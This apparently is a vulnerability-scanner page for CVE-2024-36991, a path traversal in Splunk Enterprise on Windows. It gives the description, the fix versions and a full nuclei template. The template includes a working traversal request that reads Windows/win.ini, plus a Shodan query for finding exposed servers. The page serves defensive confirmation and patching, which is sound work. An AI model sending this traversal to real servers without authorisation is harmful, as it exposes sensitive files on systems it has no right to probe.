Splunk Enterprise - Local File Inclusion

highseverity

13%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.

Impact

Attackers can perform path traversal to access sensitive filesystem locations on Splunk Enterprise for Windows.

Fix

Update Splunk Enterprise to version 9.2.2, 9.1.5, or 9.0.10 or later.

How to confirm it

Send: GET /en-US/login
Positive when: status_code == 200 and contains(body, "Splunk Inc.")
Send: GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2024-36991 -u <target>

The full check

id: CVE-2024-36991

info:
  name: Splunk Enterprise - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.
  impact: |
    Attackers can perform path traversal to access sensitive filesystem locations on Splunk Enterprise for Windows.
  remediation: |
    Update Splunk Enterprise to version 9.2.2, 9.1.5, or 9.0.10 or later.
  reference:
    - https://x.com/sheikhrishad0/status/1809210005125746880/photo/1
    - https://x.com/chybeta/status/1809249794122215557/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36991
  classification:
    epss-score: 0.13006
    epss-percentile: 0.96365
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Login | Splunk"
  tags: cve,cve2024,splunk,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /en-US/login HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Splunk Inc.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from